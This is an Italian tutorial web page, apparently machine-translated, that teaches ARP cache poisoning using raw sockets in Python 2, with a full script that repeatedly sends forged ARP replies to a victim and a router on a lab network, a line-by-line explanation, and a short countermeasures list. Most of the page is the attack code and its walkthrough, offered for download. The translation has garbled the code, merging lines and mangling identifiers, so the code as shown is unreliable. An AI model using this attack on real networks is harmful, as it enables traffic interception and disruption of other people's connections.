Attacco di avvelenamento da ARP con socket raw in Python

Sommario

Oggi ti insegnerò come implementare un attacco di avvelenamento da ARP (avvelenamento della cache ARP). Per questo userò socket raw in python, l'obiettivo è vedere come funziona questo tipo di socket, che tu impari come funziona questo attacco o che puoi eseguire test sulla tua rete (sebbene ci siano già strumenti sulla rete per questo), non che lo usi per scopi dannosi scopi.

NotaCon scapy puoi implementare questo lavoro più velocemente e più facilmente, ma guardando questo tutorial sarai in grado di utilizzare le conoscenze per utilizzare la libreria e farlo da solo, se facessimo il contrario ti costerebbe di più. Il metodo mostrato qui funziona solo su sistemi Linux.

Piccoli dettagli che dovresti sapere
ARPÈ il protocollo di risoluzione degli indirizzi che si trova a livello di rete. La sua missione è trovare l'indirizzo MAC (indirizzo fisico) che corrisponde a uno specifico indirizzo IP (indirizzo di rete).
Cache ARPOgni dispositivo ha una piccola memoria in cui memorizza le traduzioni MAC - IP, ne approfitteremo in questo attacco. Questa cache esiste perché evita il sovraccarico di chiedere la traduzione ogni volta che ci colleghiamo a un altro dispositivo.

Il Funzionamento del protocollo ARP È semplice, quando invii un pacchetto a qualcuno, verrà controllata la cache del dispositivo, se c'è quella traduzione ci vorrà per inviare il pacchetto, se non c'è ARP invierà un pacchetto di trasmissione (è speciale, è ha l'indirizzo MAC di destinazione ff: ff : ff: ff: ff: ff), questo pacchetto raggiungerà tutti i dispositivi della rete e "chiederà" chi ha l'indirizzo IP cercato, ogni dispositivo alla vista del MAC speciale leggerà il pacchetto, e solo quello con l'indirizzo L'IP cercato risponderà indicando il suo MAC, in quel momento verrà memorizzato nella cache, così da non doverlo chiedere nuovamente nei prossimi minuti.

Il Attacco di avvelenamento da ARP Viene utilizzato per spiare i dati che passano attraverso una rete, oppure possiamo anche usarlo in modo che i dati non raggiungano le destinazioni a cui stanno andando. Questo attacco consiste nell'invio costante di pacchetti ARP alla rete indicando che il nostro MAC corrisponde all'IP della vittima e che il nostro MAC è associato all'IP del router. Dobbiamo inviare i pacchetti costantemente perché è un protocollo dinamico, quindi la cache sta cambiando, può essere che la traduzione venga cancellata, sia aggiornata con i dati reali, quindi per assicurarci di inviare pacchetti ogni poco, non lo sono molto pesanti, quindi normalmente non sovraccaricano la rete.

NotaARP è un protocollo che viene utilizzato solo in IPv4, quindi questo attacco non è valido per IPv6, ma l'attacco di avvelenamento può essere effettuato sfruttando un altro protocollo, come NDP, che viene utilizzato per scoprire i "vicini" in una rete .

Per iniziare il nostro esempio abbiamo bisogno di conoscere gli indirizzi IP della vittima e del gateway del router, oltre al suo MAC, puoi usare nmap per scoprire i dispositivi attivi nella tua rete e il MAC può essere ottenuto facilmente, ad esempio Vogliamo per avvelenare la cache dell'indirizzo 192.168.66.2, che sarà la mia vittima (una macchina virtuale), eseguirò quanto segue nel cmd o nel terminale:

 Windows -> Ping 192.168.66.2 -n 1 Unix -> Ping 192.168.66.2 -c 1
-c e -n indicano che deve essere inviato un solo pacchetto, ogni sistema operativo ha un parametro diverso. Successivamente mettiamo:
 arpa
Indicherà la cache ARP, quindi possiamo vedere le traduzioni che abbiamo memorizzato (e avendo fatto un ping in precedenza abbiamo già la traduzione con la vittima). Dobbiamo fare lo stesso con il gateway del router:

Successivamente metterò tutti i dati che abbiamo per averli a portata di mano:

  • Vittima -> 192.168.66.2 / MAC: 00: 50: 56: e3: d1: 75
  • Router -> IP: 192.168.66.1 / MAC: 00: 50: 56: c0: 00: 08
  • Il mio PC -> IP: 192.168.66.128 / MAC: 00: 0c: 29: 5e: cb: 5f

Metto il codice completo e lo spiego di seguito, funziona per Python nella versione 2.x, ma con piccole modifiche puoi adattarlo alla versione 3.x:

 import socket import time, struct, binascii connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800))) macOrigen = "\ x00\x0c\x29\x5e\xcb\x5f"macVictima="\x00\x50\x56\xe3\xd1\x75"macRouter="\x00\x50\x56\xc0\x00\x08"code="\x08\ x06 "commonpackage = macOrigen + code eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage HardwareType =" \ x00 \ x01 "protocolType =" \ x08 \ x00 "HardwareLength =" \ x06 "ProtocolLength =" \ x04 "OperationCode =" \ x04 "OperationCode =" \ x04 " \ x02 "SharedHeader = HardwareType + ProtocolType + HardwareLength + ProtocolLength + OperationCode + macOrigen ipRouter = socket.inet_aton (" 192.168.66.1 ") ipVictima = socket.inet_aton (" 192.168.66.2 ") macVictouterIngouter + MacVictouterHead = eth1 + MacVictouterCompartida + header ipVictima arpRouter = eth2 + SharedHeader + ipVictima + macRouter + ipRouter print ("Poisoning caches… to stop CTRL + C") while True: connection.send (arpRouter) connection.send (arpVictima ) tempo.sonno (1)
La prima cosa che facciamo è importare le librerie necessarie, che non necessitano di ulteriori spiegazioni. Continuiamo con le seguenti righe:
 connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800)))
La prima riga crea un socket, con le seguenti caratteristiche:
  • PF_PACKET: Per inviare e ricevere pacchi a basso livello.
  • SOCK_RAW: Per utilizzare socket non elaborati.
  • socket.htons (0x0800): Lo 0x0800 definirà il protocollo ETH_P_IP, la funzione ntohs converte il formato di rete in byte nel formato appropriato per il nostro computer (s significa breve, cioè 16 bit, se avesse una l, sarebbe 32 bit).

E il secondo si occuperà di mettere la presa per "ascoltare":

  • ens33: è l'interfaccia di rete su cui andremo a lavorare, la tua può essere eth0, se usi un ifconfig lo vedrai (vedi immagine sotto).
  • socket.htons (0x800): come detto prima.

Le righe che vediamo di seguito creeranno gli header Ethernet, per questo stabiliamo i MAC, e il codice (quello che mettiamo appartiene al protocollo ARP), se vuoi saperne di più su Ethernet clicca qui:

 macOrigen = "\x00\x0c\x29\x5e\xcb\x5f" macVictima = "\x00\x50\x56\xe3\xd1\x75" macRouter = "\x00\x50\x56\xc0\x00\x08" code = "\ x08 \ x06" pacchetto comune = macSource + codice eth1 = macVictima + pacchetto comune eth2 = macRouter + pacchetto comune
La parte successiva del codice assembla i pacchetti ARP, per consultare la struttura puoi visitare il seguente link e andare alla sezione struttura del pacchetto. Il codice dell'operazione \ x00 \ x02 indica che si tratta di un pacchetto di risposta (se fosse 1 sarebbe una richiesta) e la funzione socket.inet_aton () converte un indirizzo IPv4 in formato binario a 32 bit. Come hai visto nel codice precedente e ora per creare un pacchetto stiamo concatenando le sue parti.
 HardwareType = "\ x00 \ x01" ProtocolType = "\ x08 \ x00" HardwareLength = "\ x06" ProtocolLength = "\ x04" OperationCode = "\ x00 \ x02" Shared Header = HardwareType + ProtocolType + HardwareLength + Operating ProtocolProtocolLength + MacOperationCode. = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + intestazione condivisa + ipRouter + macVictima + ipVictima arpRouter = eth2 + intestazione condivisa + ipVictima + macRouter + ipRouter
L'ultima parte del codice mostra un messaggio per sapere che sta funzionando ed entra in un ciclo infinito che invierà pacchetti per avvelenare le cache della nostra vittima e il gateway del router, questo lo fa ogni secondo poiché abbiamo un sonno.
 print ("Cache da avvelenamento … per interrompere CTRL + C") while True: connection.send (arpRouter) connection.send (arpVictima) time.sleep (1)
Vediamo come appare l'esecuzione del programma (dobbiamo esegui come utente root):

E se osserviamo la cache della vittima, possiamo vedere che il suo indirizzo IP è ora associato al MAC dell'attaccante:

Contromisure

  • Utilizzo tabelle ARP statiche, aggiungiamo le voci a mano e non le lasciamo variare.
  • Consultare ARP inverso, questo protocollo restituirà l'indirizzo IP da un MAC, quindi se restituisce più di un indirizzo IP, è probabile che siamo stati falsificati.

Queste misure richiedono un minimo di conoscenza, quindi non tutti saranno in grado di eseguirle, ma consultando la nostra sezione di domande o tutorial sulla sicurezza informatica troverai sicuramente un aiuto.

Nel caso in cui desideri il codice, ecco un zip:

Scarica il codice ArpPoisoning.zip 579 byte 116 download

Ti è piaciuto e hai aiutato questo Tutorial?Puoi premiare l'autore premendo questo pulsante per dargli un punto positivo

Aiuterete lo sviluppo del sito, condividere la pagina con i tuoi amici

wave wave wave wave wave